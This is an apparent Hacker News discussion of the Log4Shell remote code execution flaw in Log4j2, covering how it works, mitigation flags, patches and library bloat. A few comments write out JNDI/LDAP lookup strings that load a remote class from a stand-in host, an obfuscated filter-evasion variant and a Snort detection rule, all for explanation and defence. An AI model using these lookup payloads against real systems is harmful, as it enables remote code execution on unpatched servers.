  From a quick look at the lunasec page, it looks we can mitigate by blocking outbound LDAP traffic to unknown destinations?
  • IiydAbITMvJkqKf 5y ago
    If you want to go down the route, you should check if log4j allows a port to be specified in the LDAP URI. If it does, firewalling one port won't do anything.
    • znep 5y ago
      Yes, you can specify a port.
  • jsavin 5y ago
    The vulnerability affects any process with network-facing endpoints that log user-input data. It's not LDAP-specific.
  • antocv 5y ago
    Not by blocking outbound ldap by port, because ldap://hurrdurr:443/Evil.class
• mosajjal 5y ago
  this Snort signature should detect it fairly reliably: alert tcp -> ( msg:"log4j rce detection"; content:"|24 7b|jndi|3a|"; nocase; )
• lewisjoe 5y ago
  To folks wondering what the issue is about, I'll give a short summary that I myself needed. Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out. Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea. One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file. The fix has introduced ways to configure an allowed set of hosts/protocols/etc and forces Log4j to go through this configuration such that these dynamic resolutions don't land on an random/evil server.
  • brabel 5y ago
    These "special" strings that Log4j parse must be in the formatting string though, right? External Strings should normally be logged as parameters, not included in the format String. For example: // this is ok log.debug("user-agent={}", userAgent); // this is bad log.debug("user-agent=" + userAgent); Does this vulnerability still work on the first case? EDIT: the answer is yes, just tried it myself.
    • erk__ 5y ago
      According to a comment here it does https://news.ycombinator.com/item?id=29506397 https://news.ycombinator.com/item?id=29506397
      • brabel 5y ago
        Confirmed myself here... yes, it does :(
• jsiepkes 5y ago
  What adds to the confusion is that log4j2 rebrands itself as log4j. For example the Log4j2 artifact name is: `org.apache.logging.log4j:log4j-api` but it is actually Log4j2, not the original Log4j. There is plenty of stuff out there that still uses Log4j 1.7, 1.8, etc. I assume this is all about Log4j2? And not about the original Log4j? Or is the original Log4j also affected?
  • raesene9 5y ago
    There are indications (https://twitter.com/dlitchfield/status/1469199750452822017?s=20 https://twitter.com/dlitchfield/status/1469199750452822017?s...) that log4j1 can be affected too...
    • testplzignore 5y ago
      That tweet has since been deleted. I haven't seen anything so far to indicate that log4j v1 is affected.
      • Zardoz84 5y ago
        I can't reproduce with log4j 1.2.17
  • philipwhiuk 5y ago
    The original Log4J is EOL and unmaintained. It's not affected by this but it does have other known vulns.
• kelnos 5y ago
  On one hand I want to be more forgiving of this, because log4j is very old, and likely this feature was introduced well before we all had a collective understanding of how fiddly and difficult security can be, and how attackers will go to extreme effort to compromise our services. But at the same time... c'mon. A logging framework's job is to ship strings to stdout or files or something. String interpolation should not be this complicated, flexible, whatever you want to call it. The idea that a logging framework (!) could even have an RCE makes me want to scream... the feature set that leads us to that even being possible just weeps "overengineered".
  • JanecekPetr 5y ago
    No, this is about log4j2 which is kinda new (2.0.0 was released 2014). Otherwise, yeah, this is terrible, especially since the tag doesn't even have to be in the formatting string.
    • maxdamantus 5y ago
      The sample in the in post is log4j1 ("org.apache.log4j" rather than "org.apache.logging.log4j"), which is why it's using: > log.info("foo: " + bar); rather than: > log.info("foo: {}", bar); But the issue also affects log4j2, and it doesn't matter which form of logging you use, since the transformation apparently happens further along in some appender, used by both versions of log4j.
      • Zardoz84 5y ago
        The post examples its : log.info("Request User Agent:{}", userAgent); Also, I just try with log4j1 , and I can't reproduce it. At least with the netcat trick doesn't work : https://twitter.com/thetaph1/status/1469264526214406150?s=20 https://twitter.com/thetaph1/status/1469264526214406150?s=20
        • maxdamantus 5y ago
          The post has been partially updated to log4j2 [0] (the import is still log4j1, but I imagine this will be updated soon [1]). And yes, I'm actually not sure log4j1 is vulnerable. I assumed it was because the sample code in the post was using log4j1, though the description only explicitly mentions log4j2. [0]: https://github.com/lunasec-io/lunasec/pull/270 https://github.com/lunasec-io/lunasec/pull/270 [1]: https://github.com/lunasec-io/lunasec/pull/277 https://github.com/lunasec-io/lunasec/pull/277
• simon04 5y ago
  To enable the mitigation for Apache Tomcat, set `JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true` For instance, when starting with systemd, add `Environment=JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true` to your service file. You should find `Command line argument: -Dlog4j2.formatMsgNoLookups=true` in catalina.out
  • philipwhiuk 5y ago
    Assuming you're running Log4J > 2.10.0 otherwise this won't be picked up and used.
• reidrac 5y ago
  When I started working with Scala, it really surprised me how the JVM world deals with dependencies (include an upstream jar directly in the project, as opposed to the Linux distro model where you use your distributor packages so you have security and bug fixes). I'm a big fan of Dependency Check[1]. There are hosted services that can give you security scans, but if you don't have access to that (some have a cost) or you are maintaining an open source project, Dependency Check is mostly great (there are some issues every now and then with false positives, but the maintainers are great and responsive and they deal with reports very quickly). There are also plugins for several building tools (e.g. sbt for Scala projects). 1: https://owasp.org/www-project-dependency-check/ https://owasp.org/www-project-dependency-check/ EDIT: this may help answering the question "do I use log4j?", because transitive dependencies can be complicated!
  • oauea 5y ago
    > include an upstream jar directly in the project, as opposed to the Linux distro model where you use your distributor packages so you have security and bug fixes good luck getting all your versions to be compatible if you do that. Oh, now your java app can only run on Ubuntu 16.04? But our customers use CentOS 7? Guess they're out of luck. > EDIT: this may help answering the question "do I use log4j?", because transitive dependencies can be complicated! Just run `mvn dependency:tree` or the gradle equivalent.
  • philipwhiuk 5y ago
    Worth saying that dependency-check I'm pretty sure hadn't picked it up as of Friday. It takes a while to get to the NVD lists and with this bug you don't have that kind of time. It's good for preventing people adding known-insecure libraries though.
• deleted 5y ago
  [deleted]
• mkleczek 5y ago
  This is actually worse than log4j. Any code accessing JNDI using URIs from external data is vulnerable. Script injection (aka XSS) at its finest. Looks like a good use case for running under SecurityManager with a restrictive policy. Maybe it is time to reconsider JEP 411?
  • immibis 5y ago
    How many code accesses JNDI using URIs for external data? Debug tools, presumably. Monitoring tools.
    • mkleczek 5y ago
      Any JEE code that uses container provided resources. So a lot...
  • vips7L 5y ago
    In practice I’ve never met anyone who actually uses The Security Manager. So it might have been able to stop this with the proper configuration but I doubt anyone would have configured it to do so.
    • mkleczek 5y ago
      And this is the root problem as that's equivalent to running software as root.
• maruhoi 5y ago
  How might this affect me on Steam?
  • smolder 5y ago
    This is an odd question, but if you're saying you downloaded a java based game that suffers this RCE, I don't think Steam does a single thing to protect you.
    • creatonez 5y ago
      According to the article, Steam was directly affected by this vulnerability. But I'd guess that's a problem on their backend and not on the Steam client.
• jsiepkes 5y ago
  Logback has an interesting commit[1]: "disassociate logback from log4j 2.x as much as possible". They also updated their landing page [2]: "Logback is intended as a successor to the popular log4j project, picking up where log4j 1.x leaves off. Fortunately, logback is unrelated to log4j 2.x and does not share its vulnerabilities." Can't say I blame them. [1] https://github.com/qos-ch/logback/commit/b810c115e363081afc70f8bf4ee535318c3a34e1 https://github.com/qos-ch/logback/commit/b810c115e363081afc7... [2] http://logback.qos.ch/ http://logback.qos.ch/ EDIT: Removed Apache from Apache Logback since, as correctly pointed out, it's not a Apache project.
  • Symbiote 5y ago
    Logback, not Apache Logback. It is not an Apache project.
  • dikei 5y ago
    This is such a cheap move by Logback, which comes from the former lead developer of Log4j 1. I used to like it for its technical merits: it's really much better than Log4j 1. But its development has stagnated, and it doesn't offer anything over Log4j2 nowadays. Furthermore, it's not an Apache project, it doesn't even use the Apache License, but LGPL.
    • Aperocky 5y ago
      > it doesn't offer anything over Log4j2 nowadays. That's a major plus.
    • jsiepkes 5y ago
      > But its development has stagnated, and it doesn't offer anything over Log4j2 nowadays. I would say that a logging framework also needs to be boring. I don't understand why string interpolation with access to the JNDI context needs to be in core Log4j2. Less is more so to say.
    • d3nj4l 5y ago
      Logback is dual licensed as LGPL and EPL (Eclipse Public License).
• niea_11 5y ago
  You can find the motivation for looking up jndi resources on the ticket that introduced the behaviour : https://issues.apache.org/jira/browse/LOG4J2-313 https://issues.apache.org/jira/browse/LOG4J2-313
  • philipwhiuk 5y ago
    It's abhorrently thin given it introduced a remote vector.
• lgrapenthin 5y ago
  Its just incredible how bloated Log4J is. You'd think a logging library would be rather lightweight, straightforward to configure, no? No, it is one of those efforts that suffer from their underlying problem being so well understood that, apparently, everybody working on it feels compelled to "enrich" it with more options, config layers, adapters, extensions.
  • immibis 5y ago
    Well yes, when you have a project that does 99% of what you need, you add the other 1% to the project instead of starting a whole new project. This is just how all software evolves.
    • christophilus 5y ago
      It’s our jobs as engineers to say no, and to try to fight that kitchen-sink tendency. It’s exhausting work, though, and I admit to just caving at work from time to time.
    • jallen_dot_dev 5y ago
      Or you separately implement this feature that only you need. Instead of asking for it to be supported out-of-the-box by this very popular library where it'll operate unbeknownst to everyone else.
  • phendrenad2 5y ago
    I talked to a guy once who was a "hibernate expert". On his desk he had about 10 books on Hibernate. Coming from the Ruby world, I was amazed and perplexed. Is Hibernate really that much more complex than ActiveRecord? Of course it isn't. But someone benefits complex frameworks and libraries, and libraries that are over-documented to the point of absurdity. Who benefits is Java developers. Java is a simple to learn language, and almost everyone learns it in college. As a result, competition at the entry level is fierce. You can't break into Java development coming out of college without rote memorization of Java builtin classes, knowing Hibernate and log4j like the back of your hand, and knowing all of the latest acronyms and buzzwords. This provides a cushy barrier to entry so people who survive that can stay employed without risk from cheaper incoming developers.
• plasma 5y ago
  Does this affect Android in some way too?
• sensiblesec 5y ago
  EDIT: was not clear to me that Lumio has done only the writeup and not the original researchers finding the vulneraility mea culpa Lunasec, you're doing god's work! Probably there isn't a broad agreement on ethical standards related to vulnerability disclosure but is it really still a net benefit when people disclose vulnerabilities without even them knowing the implications, that are clearly not patched, let alone giving users of the software time to do anything about it. I feel we have gotten pretty far away from Tavis Ormandy working with Cloudflare to clean up the issue before anything is published. Do I misunderstand something or this is clearly the type of issue that will be misused widely?
  • acdha 5y ago
    This was fixed and discussed on GitHub a week ago, so the cat was somewhat out of the proverbial bag. I would not blame the people who wrote easier to understand blog posts which are going to need circulation to half of the enterprise IT code mills in the world, and note that dang changed this post’s URL from the GitHub issue which is harder to understand.
    • sensiblesec 5y ago
      That's fair my misunderstanding in that case I'm questioning the people publishing the PoC
  • Jolter 5y ago
    It'd be a bit hard to keep this exploit a secret once the patch was on Github.
    • sensiblesec 5y ago
      While that is definitely a good theoretical argument but in practice it seem to be the case that most of the (non 0day) vulnerabilities that get exploited in the wild are the ones that have solid public exploits, and it does also seem to have effect on how fast it starts to be exploited. Even if that was true, knowing that a number of large projects are using this lib I'm not sure if it is unreasonable to ask to at least make an attempt to reach out so they can asses their exposure.
• deleted 5y ago
  [deleted]
• trulyrandom 5y ago
  Cloudflare has published an article with clear mitigation options: https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-m...
  • prdonahue 5y ago
    Given the severity, we've also rolled this out to our Free plan customers, who don't otherwise have access to the WAF.
    • philipwhiuk 5y ago
      Do you look and block for evasion attempts like: ${j${lower:n}${lower:d}i...} ?
• wfyfgrh 5y ago
  nhg6sr fkvc
• wfyfgrh 5y ago
  efyrdiylerife7tufyud
• wfyfgrh 5y ago
  gfjfgfghgvfhfbfbfbfhvfhvfhfvod[jvdjcfgvbcnhjovjvbdio jdghjkvhjccjifhkjfhj bxjcui ghcb bn gcnb jc bv v
• TheRealDunkirk 5y ago
  176K LOC. For a logging library? Oh! It's for Java. It all makes sense now. (Yes, I've written in Java, and, of course, I used log4j in the project.) Just reminds me of this: https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpris...
  • Spivak 5y ago
    Log4j has a stupid amount of features though, it's basically a full featured logging library, plus Filebeat and Logstash all in one lib.
    • TheRealDunkirk 5y ago
      I get it, but it really makes the case that the bog-standard library that literally EVERYONE on EVERY Java project uses be simpler, and push those other features out to other libraries.
    • scottlamb 5y ago
      > Log4j has a stupid amount of features though, it's basically a full featured logging library, plus Filebeat and Logstash all in one lib. "Stupid" for once is the correct word. I don't want a feature where my log library downloads code from an LDAP server and runs it. I don't want a feature where interpolation is run not only on my hardcoded format string but also in the variables it references. When software has many features, we often assume they're disabled unless we deliberately enable them and so they do little harm (other than increased code size). But this kind of on by default behavior is something else entirely.
  • skim_milk 5y ago
    For comparison, in .NET Core the default logger and all extensions in the dotnet/runtime repo are 9014 LOC (19.5k if including tests) find -E src/libraries -iregex '.*\.cs$' | grep 'src/libraries/Microsoft.Extensions.Logging' | grep -v 'tests' | xargs cat | grep -v -e '^$' | wc -l
  • phendrenad2 5y ago
• AtNightWeCode 5y ago
  Have not used Log4J for ages but is this the common way to do it? To concatenate parameters into the log messages? In most logging tools where templates with parameters is used you are supposed to pass input as parameters into the templates, not change the templates?. No? Edit: Found the answer to my own Q. "Do not use String concatenation. Use parameterized message..."
• _wldu 5y ago
  A LSM in enforcing mode (such as SELinux or Tomoyo) on a Linux system would prevent this. I configure and run tomoyo on all my Internet facing servers. https://tomoyo.osdn.jp/ https://tomoyo.osdn.jp/
  • twic 5y ago
    Or just a firewall rule to block outgoing connections. Basic security precautions prevent this attack against servers.
    • dariusj18 5y ago
      A firewall rule to block DNS requests? Or one to block LDAP requests?
      • twic 5y ago
        LDAP.
    • philipwhiuk 5y ago
      It's amazingly common for SecOps to only consider inbound traffic.
• greynoise_nate 5y ago
  Disclaimer, I work for GreyNoise, we monitor the internet for mass scanning/exploitation attempts. We are currently tracking this activity and have noted almost 100+ hosts checking for this: https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20Log4j%20RCE%20Attempt%22 https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20...
• nyxmare 5y ago
  is it still possible to get RCE even without trustURLCodebase=true ?
• HelloNurse 5y ago
  Appallingly severe because instead of having to carefully corrupt the stack or guess malicious SQL queries the adversary is deliberately provided with a general interpreter, ready to run arbitrary downloaded code without checks.
• mooreds 5y ago
  We had enough folks reach out to us that we put together a blog post about this CVE: https://fusionauth.io/blog/2021/12/10/log4j-fusionauth/ https://fusionauth.io/blog/2021/12/10/log4j-fusionauth/ You can also read the full CVE description here: https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://nvd.nist.gov/vuln/detail/CVE-2021-44228
• albertinix 5y ago
  (re: Log4J versions <= 2.14.1) Does anyone know if removing the `JndiLookup` class is enough? On the Apache Log4j2 page (https://logging.apache.org/log4j/2.x/ https://logging.apache.org/log4j/2.x/) it's stated to: > Remove the JndiLookup *and JndiManager* classes from the log4j-core jar. (emphasis mine) However, the only place where I've seen that being stated is on that page. So - is it required to remove the `JndiManager` class as well?
• johnthuss 5y ago
  log4j is a very popular and ubiquitous Java library. Having a zero-day remote code execution vulnerability in it is a serious problem that undoubtedly affects a huge portion of the internet.
  • tbarbugli 5y ago
    Very easy to exploit as well: https://github.com/YfryTchsGD/Log4jAttackSurface https://github.com/YfryTchsGD/Log4jAttackSurface
    • deleted 5y ago
      [deleted]
  • cogman10 5y ago
    It's almost mind boggling that it went for so long undetected. It's been sitting there for 7 years.
    • commandlinefan 5y ago
      > so long undetected ... that we know of.
    • abhishekjha 5y ago
      So how was it detected now? Who reported it first and what were they looking for?
    • jesstaa 5y ago
      'Shellshock' was sitting there since 1989 and only detected in 2014.
  • tetha 5y ago
    After ~12 hours of getting this mitigated at work, yeah. The only things I could imagine much worse would be broken RSA, or something like this in the linux network stack. Even something in SSHD would be less bad, because SSHDs tend to be protected. This occurs in the main business function of requests.
• rank0 5y ago
  I’m amazed at the reaction here. Lots of comments ITT about how this library is horrible and logging should be a solved problem from a security perspective. Similar commentary was here recently regarding some unsafe docker default. Developers always want abstractions to make programming easier, but they never consider the cost of using those abstractions. It’s so convenient to place all the burden on library authors but you’re the one logging client supplied input in the first place! Put a regex whitelist on your inputs wherever there’s a trust boundary. How come devs should never have to consider security but FOSS package maintainers do?
  • chmod775 5y ago
    > Put a regex whitelist on your inputs wherever there’s a trust boundary. No. That's a horrible idea because it requires you to think about security in multiple places and get it right every time. Instead I am going to wrap the horrible logging library that does not automatically escape control characters within arguments in a wrapper that does. Now it's impossible for me to mess up. Or... you know. One could have designed the logging library in such a sane way in the first place.
    • BarryMilo 5y ago
      Your username gave me flashbacks of terribly designed web stacks lol
    • rank0 5y ago
      You should still use input validation for many other reasons besides log injection.
      • chmod775 5y ago
        "You cannot use this character in your name because it trips up our logging library".
        • rank0 5y ago
          Are you seriously arguing that you don’t think input validation is required for untrusted input? There’s a myriad of security vulnerabilities based off failing to escape special characters. Use output encoding if you need usernames to have special chars. There’s really no excuse to not sanitize input it’s a basic security principle.
• strangattractor 5y ago
  Can't to see how much Equifax data gets leaked:)
• robertelder 5y ago
  I've been thinking about this since I saw it here on HN yesterday, and I can't help but entertain the idea that this might end up being 'the worst software security flaw ever'.
  • deleted 5y ago
    [deleted]
  • blibble 5y ago
    absolutely, most vulnerabilities are stopped by the frontend this one gets all the way through and hits the backend better hope your backend is on a separate LAN with no internet access..!
    • tetha 5y ago
      This one could possibly hit past the backend and hit tools like sentry, a log aggregation and such, through an unaffected backend.
  • dylan604 5y ago
    nah, it's just a logging package that not everyone uses. it would be much worse if it was in an OS of some sort.
    • jpeter 5y ago
      Everyone uses it: https://github.com/YfryTchsGD/Log4jAttackSurface https://github.com/YfryTchsGD/Log4jAttackSurface
    • anyfoo 5y ago
      Would it? It's a very common logging package, and Java is cross-platform. I also think OSes tend to be updated more often than JDKs (but I'm not sure).
    • nonameiguess 5y ago
      It's used by Elasticsearch, so possible you could exploit the log aggregation service even if the app-level logging library isn't vulnerable, but you'd need a way to make sure the first-level logging doesn't interpret the format string.
• decremental 5y ago
  Minecraft 1.18.1 was released to patch this exploit. They don't guarantee that < 1.17 isn't vulnerable still.
• dokem 5y ago
  I haven't read into the specifics of this issue but doesn't a RCE vulnerability in a Java library really rest on a RCE vulnerability in Java/JRE itself?
  • the8472 5y ago
    Not necessarily, java has explicit mechanisms for dynamic code loading (classloaders) and if those are reachable from unsanitized user input then you have what amounts to a very indirect and enterprise-grade eval().
  • cplusplusfellow 5y ago
    In this case the library is using JNDI to go get a class from an LDAP server to execute.
    • abhishekjha 5y ago
      But where does it get used? I mean the loading of a remote class on an LDAP server. Was this an opt-in or is it like properly baked in?
      • cplusplusfellow 5y ago
        You would call out to JNDI in a logging statement. That would cause the remote class to be loaded and executed during the log statement evaluation. A nefarious attacker could inject such a JNDI reference in a field (like username or whatever) and if you wrote your log statements in a manner that didn’t expect such injection to happen, it could become part of the log format instead of a log field value, and this would be executed. Think of it like SQL injection but with log statements and way worse because it calls a class that can be hosted on a server of choice. And the code that can execute is arbitrary and not limited to the database.
• jimbob45 5y ago
  Is there any reason to believe this wouldn't affect log4net in the same way?
  • dbt00 5y ago
    No reason to think that it is -- it's related to a specific implementation of a java technology, it would require completely a completely hypothetical parallel track.
  • Merad 5y ago
    12 years of experience with .Net here - it’s been a long time since I used log4net and I was never intimately familiar with it, but I’m not aware of any built-in or common .Net functionality that will make a web request and remotely load code just by parsing a string. So unless the log4net library totally implemented that feature from scratch, it should be safe.
    • smarx007 5y ago
      What about 'Assembly.Load(bytes)' or 'Assembly.LoadFrom'?
• grrrrrrreat 5y ago
  Does this affect SL4J library as well ?
• intunderflow 5y ago
  The amount of impact this has is absolutely mind-boggling: https://github.com/YfryTchsGD/Log4jAttackSurface/tree/master/internet https://github.com/YfryTchsGD/Log4jAttackSurface/tree/master...
• dumdumdumdum 5y ago
  https://github.com/search?o=desc&q=formatMsgNoLookups&s=indexed&type=Code https://github.com/search?o=desc&q=formatMsgNoLookups&s=inde... if you're curious who's patching what in the opensource (github) world.
  • oever 5y ago
    That page requires a login.
• deleted 5y ago
  [deleted]
• fcsp 5y ago
  > JNDI, a part of the Java Enterprise API set, providing uniform, industry-standard, seamless connectivity from the Java platform to enterprise information assets From https://web.archive.org/web/20040908114732/http://www.sun.com/smi/Press/sunflash/1997-03/sunflash.970310.10204.html https://web.archive.org/web/20040908114732/http://www.sun.co... I guess the marketing claims were true. I am completely mystified why this feature exists.
• mcintyre1994 5y ago
  Does anyone know the details of how this got discovered and released? It definitely doesn’t sound like a normal responsible disclosure process if it was discovered a few hours before this post. Was it spotted being abused?
  • dontchooseanick 5y ago
    See the reddit netsec thread [0] . There is evidence of attackers having the exploit since April 2021, thus the disclosure. > Was it spotted being abused. No, not at 2021-12-10 AFAIK, just spotted being spread. [0] https://reddit.com/r/netsec/comments/rcwws9/rce_0day_exploit_found_in_log4j_a_popular_java/ho10vin?context=3 https://reddit.com/r/netsec/comments/rcwws9/rce_0day_exploit...
• debug-desperado 5y ago
  Thank goodness Spring Boot has stuck with Logback for its default logging implementation. While the original Log4j had huge uptake a decade ago, its successor is nowhere near as ubiquitous.
• altdataseller 5y ago
  Lots of things missing from everyone telling how to mitigate this: 1) how do I check what version of log4j I am using? 2) how do I upgrade my log4j version 2 to the latest? I download the new zip, then what?
• etewiah 5y ago
  See related: https://news.ycombinator.com/item?id=29509132 https://news.ycombinator.com/item?id=29509132
• etewiah 5y ago
  Just adding the word log4shell so people searching for that keyword find this more easily.
• phgr100x 5y ago
  https://github.com/Glavo/log4j-patch https://github.com/Glavo/log4j-patch This is a non-intrusive patch that allows you to block this vulnerability without modifying the program code/updating the dependent. So you can use it to patch third-party programs, such as Minecraft. The principle of the library is simple: It provides an empty JndiLookup to override the implementation in log4j. Log4j2 can handle this situation and safely disable JNDI lookup. It is compatible with all versions of log4j2 (2.0~2.15).
• sandmandf137731 5y ago
  All of us are scrambling to upgrade to 2. This OSS tool can help prioritise attack paths using runtime context. We had a potential exposure due to Elasticsearch, found out and patched. https://github.com/deepfence/ThreatMapper https://github.com/deepfence/ThreatMapper
• sandmandf137731 5y ago
  How we fixed exposure due to vulnerable Elasticsearch using ThreatMapper https://github.com/deepfence/ThreatMapper https://github.com/deepfence/ThreatMapper
• sandmandf137731 5y ago
  Hope this helps someone. How we visualized and fixed runtime exposure due to vulnerable Elasticsearch, using ThreatMapper https://github.com/deepfence/ThreatMapper https://github.com/deepfence/ThreatMapper
• dkozyatinskiy 5y ago
  Here is an interactive explanation of the issue: https://application.security/free-application-security-training/understanding-apache-log4j-vulnerability https://application.security/free-application-security-train...